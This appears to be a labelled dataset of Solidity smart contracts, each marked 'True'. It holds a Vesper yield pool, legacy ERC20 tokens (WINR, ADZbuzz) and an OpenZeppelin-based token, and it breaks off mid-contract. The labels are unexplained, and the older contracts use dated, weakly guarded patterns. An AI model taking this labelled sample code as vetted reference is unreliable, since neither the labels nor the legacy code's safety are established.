uint256 _amountWithdrawn = _beforeBurning(_shares);
uint256 _proportionalShares = _calculateShares(_amountWithdrawn);
if (convertFrom18(_proportionalShares) < convertFrom18(_shares)) {
_shares = _proportionalShares;
}
_burn(_msgSender(), _shares);
_afterBurning(_amountWithdrawn);
emit Withdraw(_msgSender(), _shares, _amountWithdrawn);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract PoolStorageV1 {
IERC20 public token; // Collateral token
address public poolAccountant; // PoolAccountant address
address public poolRewards; // PoolRewards contract address
address public feeWhitelist; // sol-address-list address which contains whitelisted addresses to withdraw without fee
address public keepers; // sol-address-list address which contains addresses of keepers
address public maintainers; // sol-address-list address which contains addresses of maintainers
address public feeCollector; // Fee collector address
uint256 public withdrawFee; // Withdraw fee for this pool
uint256 public decimalConversionFactor; // It can be used in converting value to/from 18 decimals
bool internal withdrawInETH; // This flag will be used by VETH pool as switch to withdraw ETH or WETH
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "./VPoolBase.sol";
//solhint-disable no-empty-blocks
contract VPool is VPoolBase {
string public constant VERSION = "3.0.4";
constructor(
string memory _name,
string memory _symbol,
address _token
) VPoolBase(_name, _symbol, _token) {}
function initialize(
string memory _name,
string memory _symbol,
address _token,
address _poolAccountant,
address _addressListFactory
) public initializer {
_initializeBase(_name, _symbol, _token, _poolAccountant, _addressListFactory);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "./Errors.sol";
import "./PoolShareToken.sol";
import "../interfaces/vesper/IPoolAccountant.sol";
import "../interfaces/vesper/IStrategy.sol";
import "../interfaces/bloq/IAddressListFactory.sol";
abstract contract VPoolBase is PoolShareToken {
using SafeERC20 for IERC20;
event UpdatedFeeCollector(address indexed previousFeeCollector, address indexed newFeeCollector);
event UpdatedPoolRewards(address indexed previousPoolRewards, address indexed newPoolRewards);
event UpdatedWithdrawFee(uint256 previousWithdrawFee, uint256 newWithdrawFee);
constructor(
string memory _name,
string memory _symbol,
address _token // solhint-disable-next-line no-empty-blocks
) PoolShareToken(_name, _symbol, _token) {}
/// @dev Equivalent to constructor for proxy. It can be called only once per proxy.
function _initializeBase(
string memory _name,
string memory _symbol,
address _token,
address _poolAccountant,
address _addressListFactory
) internal initializer {
_initializePool(_name, _symbol, _token);
_initializeGoverned();
_initializeAddressLists(_addressListFactory);
poolAccountant = _poolAccountant;
}
/**
* @notice Create feeWhitelist, keeper and maintainer list
* @dev Add caller into the keeper and maintainer list
* @dev This function will be used as part of initializer
* @param _addressListFactory To support same code in eth side chain, user _addressListFactory as param
* ethereum - 0xded8217De022706A191eE7Ee0Dc9df1185Fb5dA3
* polygon - 0xD10D5696A350D65A9AA15FE8B258caB4ab1bF291
*/
function _initializeAddressLists(address _addressListFactory) internal {
require(address(keepers) == address(0), Errors.ALREADY_INITIALIZED);
IAddressListFactory _factory = IAddressListFactory(_addressListFactory);
feeWhitelist = _factory.createList();
keepers = _factory.createList();
maintainers = _factory.createList();
// List creator can do job of keeper and maintainer.
IAddressList(keepers).add(_msgSender());
IAddressList(maintainers).add(_msgSender());
}
modifier onlyKeeper() {
require(IAddressList(keepers).contains(_msgSender()), "not-a-keeper");
_;
}
modifier onlyMaintainer() {
require(IAddressList(maintainers).contains(_msgSender()), "not-a-maintainer");
_;
}
////////////////////////////// Only Governor //////////////////////////////
/**
* @notice Migrate existing strategy to new strategy.
* @dev Migrating strategy aka old and new strategy should be of same type.
* @param _old Address of strategy being migrated
* @param _new Address of new strategy
*/
function migrateStrategy(address _old, address _new) external onlyGovernor {
require(
IStrategy(_new).pool() == address(this) && IStrategy(_old).pool() == address(this),
Errors.INVALID_STRATEGY
);
IPoolAccountant(poolAccountant).migrateStrategy(_old, _new);
IStrategy(_old).migrate(_new);
}
/**
* @notice Update fee collector address for this pool
* @param _newFeeCollector new fee collector address
*/
function updateFeeCollector(address _newFeeCollector) external onlyGovernor {
require(_newFeeCollector != address(0), Errors.INPUT_ADDRESS_IS_ZERO);
emit UpdatedFeeCollector(feeCollector, _newFeeCollector);
feeCollector = _newFeeCollector;
}
/**
* @notice Update pool rewards address for this pool
* @param _newPoolRewards new pool rewards address
*/
function updatePoolRewards(address _newPoolRewards) external onlyGovernor {
require(_newPoolRewards != address(0), Errors.INPUT_ADDRESS_IS_ZERO);
emit UpdatedPoolRewards(poolRewards, _newPoolRewards);
poolRewards = _newPoolRewards;
}
/**
* @notice Update withdraw fee for this pool
* @dev Format: 1500 = 15% fee, 100 = 1%
* @param _newWithdrawFee new withdraw fee
*/
function updateWithdrawFee(uint256 _newWithdrawFee) external onlyGovernor {
require(feeCollector != address(0), Errors.FEE_COLLECTOR_NOT_SET);
require(_newWithdrawFee <= MAX_BPS, Errors.FEE_LIMIT_REACHED);
emit UpdatedWithdrawFee(withdrawFee, _newWithdrawFee);
withdrawFee = _newWithdrawFee;
}
///////////////////////////// Only Keeper ///////////////////////////////
function pause() external onlyKeeper {
_pause();
}
function unpause() external onlyKeeper {
_unpause();
}
function shutdown() external onlyKeeper {
_shutdown();
}
function open() external onlyKeeper {
_open();
}
/**
* @notice Add given address in provided address list.
* @dev Use it to add keeper in keepers list and to add address in feeWhitelist
* @param _listToUpdate address of AddressList contract.
* @param _addressToAdd address which we want to add in AddressList.
*/
function addInList(address _listToUpdate, address _addressToAdd) external onlyKeeper {
require(IAddressList(_listToUpdate).add(_addressToAdd), Errors.ADD_IN_LIST_FAILED);
}
/**
* @notice Remove given address from provided address list.
* @dev Use it to remove keeper from keepers list and to remove address from feeWhitelist
* @param _listToUpdate address of AddressList contract.
* @param _addressToRemove address which we want to remove from AddressList.
*/
function removeFromList(address _listToUpdate, address _addressToRemove) external onlyKeeper {
require(IAddressList(_listToUpdate).remove(_addressToRemove), Errors.REMOVE_FROM_LIST_FAILED);
}
///////////////////////////////////////////////////////////////////////////
/**
* @dev Strategy call this in regular interval.
* @param _profit yield generated by strategy. Strategy get performance fee on this amount
* @param _loss Reduce debt ,also reduce debtRatio, increase loss in record.
* @param _payback strategy willing to payback outstanding above debtLimit. no performance fee on this amount.
* when governance has reduced debtRatio of strategy, strategy will report profit and payback amount separately.
*/
function reportEarning(
uint256 _profit,
uint256 _loss,
uint256 _payback
) external {
(uint256 _actualPayback, uint256 _creditLine, uint256 _interestFee) =
IPoolAccountant(poolAccountant).reportEarning(_msgSender(), _profit, _loss, _payback);
uint256 _totalPayback = _profit + _actualPayback;
// After payback, if strategy has credit line available then send more fund to strategy
// If payback is more than available credit line then get fund from strategy
if (_totalPayback < _creditLine) {
token.safeTransfer(_msgSender(), _creditLine - _totalPayback);
} else if (_totalPayback > _creditLine) {
token.safeTransferFrom(_msgSender(), address(this), _totalPayback - _creditLine);
}
// Mint interest fee worth shares at strategy address
if (_interestFee != 0) {
_mint(_msgSender(), _calculateShares(_interestFee));
}
}
/**
* @notice Report loss outside of rebalance activity.
* @dev Some strategies pay deposit fee thus realizing loss at deposit.
* For example: Curve's 3pool has some slippage due to deposit of one asset in 3pool.
* Strategy may want report this loss instead of waiting for next rebalance.
* @param _loss Loss that strategy want to report
*/
function reportLoss(uint256 _loss) external {
IPoolAccountant(poolAccountant).reportLoss(_msgSender(), _loss);
}
/**
* @dev Transfer given ERC20 token to feeCollector
* @param _fromToken Token address to sweep
*/
function sweepERC20(address _fromToken) external virtual onlyKeeper {
require(_fromToken != address(token), Errors.NOT_ALLOWED_TO_SWEEP);
require(feeCollector != address(0), Errors.FEE_COLLECTOR_NOT_SET);
IERC20(_fromToken).safeTransfer(feeCollector, IERC20(_fromToken).balanceOf(address(this)));
}
/**
* @notice Get available credit limit of strategy. This is the amount strategy can borrow from pool
* @dev Available credit limit is calculated based on current debt of pool and strategy, current debt limit of pool and strategy.
* credit available = min(pool's debt limit, strategy's debt limit, max debt per rebalance)
* when some strategy do not pay back outstanding debt, this impact credit line of other strategy if totalDebt of pool >= debtLimit of pool
* @param _strategy Strategy address
*/
function availableCreditLimit(address _strategy) external view returns (uint256) {
return IPoolAccountant(poolAccountant).availableCreditLimit(_strategy);
}
/**
* @notice Debt above current debt limit
* @param _strategy Address of strategy
*/
function excessDebt(address _strategy) external view returns (uint256) {
return IPoolAccountant(poolAccountant).excessDebt(_strategy);
}
function getStrategies() public view returns (address[] memory) {
return IPoolAccountant(poolAccountant).getStrategies();
}
function getWithdrawQueue() public view returns (address[] memory) {
return IPoolAccountant(poolAccountant).getWithdrawQueue();
}
function strategy(address _strategy)
external
view
returns (
bool _active,
uint256 _interestFee,
uint256 _debtRate,
uint256 _lastRebalance,
uint256 _totalDebt,
uint256 _totalLoss,
uint256 _totalProfit,
uint256 _debtRatio
)
{
return IPoolAccountant(poolAccountant).strategy(_strategy);
}
/// @notice Get total debt of pool
function totalDebt() external view returns (uint256) {
return IPoolAccountant(poolAccountant).totalDebt();
}
/**
* @notice Get total debt of given strategy
* @param _strategy Strategy address
*/
function totalDebtOf(address _strategy) public view returns (uint256) {
return IPoolAccountant(poolAccountant).totalDebtOf(_strategy);
}
/// @notice Get total debt ratio. Total debt ratio helps us keep buffer in pool
function totalDebtRatio() external view returns (uint256) {
return IPoolAccountant(poolAccountant).totalDebtRatio();
}
/// @dev Returns total value of vesper pool, in terms of collateral token
function totalValue() public view override returns (uint256) {
return IPoolAccountant(poolAccountant).totalDebt() + tokensHere();
}
function _withdrawCollateral(uint256 _amount) internal virtual {
// Withdraw amount from queue
uint256 _debt;
uint256 _balanceAfter;
uint256 _balanceBefore;
uint256 _amountWithdrawn;
uint256 _amountNeeded = _amount;
uint256 _totalAmountWithdrawn;
address[] memory _withdrawQueue = getWithdrawQueue();
uint256 _len = _withdrawQueue.length;
for (uint256 i; i < _len; i++) {
address _strategy = _withdrawQueue[i];
_debt = totalDebtOf(_strategy);
if (_debt == 0) {
continue;
}
if (_amountNeeded > _debt) {
// Should not withdraw more than current debt of strategy.
_amountNeeded = _debt;
}
_balanceBefore = tokensHere();
//solhint-disable no-empty-blocks
try IStrategy(_strategy).withdraw(_amountNeeded) {} catch {
continue;
}
_balanceAfter = tokensHere();
_amountWithdrawn = _balanceAfter - _balanceBefore;
// Adjusting totalDebt. Assuming that during next reportEarning(), strategy will report loss if amountWithdrawn < _amountNeeded
IPoolAccountant(poolAccountant).decreaseDebt(_strategy, _amountWithdrawn);
_totalAmountWithdrawn += _amountWithdrawn;
if (_totalAmountWithdrawn >= _amount) {
// withdraw done
break;
}
_amountNeeded = _amount - _totalAmountWithdrawn;
}
}
/**
* @dev Before burning hook.
* withdraw amount from strategies
*/
function _beforeBurning(uint256 _share) internal override returns (uint256 actualWithdrawn) {
uint256 _amount = (_share * pricePerShare()) / 1e18;
uint256 _balanceNow = tokensHere();
if (_amount > _balanceNow) {
_withdrawCollateral(_amount - _balanceNow);
_balanceNow = tokensHere();
}
actualWithdrawn = _balanceNow < _amount ? _balanceNow : _amount;
}
}
|
True
|
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pragma solidity ^0.4.21;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract WINR {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function WINR(
) public {
totalSupply = 100000000000000000000000000; // Update total supply with the decimal amount
balanceOf[msg.sender] = 100000000000000000000000000; // Give the creator all initial tokens
name = "Exacta"; // Set the name for display purposes
symbol = "WINR"; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
}
|
True
|
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// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File: contracts/token/ERC20/behaviours/ERC20Decimals.sol
pragma solidity ^0.8.0;
/**
* @title ERC20Decimals
* @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot.
*/
abstract contract ERC20Decimals is ERC20 {
uint8 private immutable _decimals;
/**
* @dev Sets the value of the `decimals`. This value is immutable, it can only be
* set once during construction.
*/
constructor(uint8 decimals_) {
_decimals = decimals_;
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor(address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/token/ERC20/StandardERC20.sol
pragma solidity ^0.8.0;
/**
* @title StandardERC20
* @dev Implementation of the StandardERC20
*/
contract StandardERC20 is ERC20Decimals, ServicePayer {
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_,
uint256 initialBalance_,
address payable feeReceiver_
) payable ERC20(name_, symbol_) ERC20Decimals(decimals_) ServicePayer(feeReceiver_, "StandardERC20") {
require(initialBalance_ > 0, "StandardERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
function decimals() public view virtual override returns (uint8) {
return super.decimals();
}
}
|
True
|
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] |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'ACT274724' token contract
//
// Deployed to : 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187
// Symbol : ACT274724
// Name : ADZbuzz Yankodesign.com Community Token
// Total supply: 2000000
// Decimals : 8
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// (c) by Darwin Jayme with ADZbuzz Ltd. UK (adzbuzz.com) 2018.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract ADZbuzzCommunityToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ADZbuzzCommunityToken() public {
symbol = "ACT274724";
name = "ADZbuzz Yankodesign.com Community Token";
decimals = 8;
_totalSupply = 200000000000000;
balances[0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187] = _totalSupply;
emit Transfer(address(0), 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
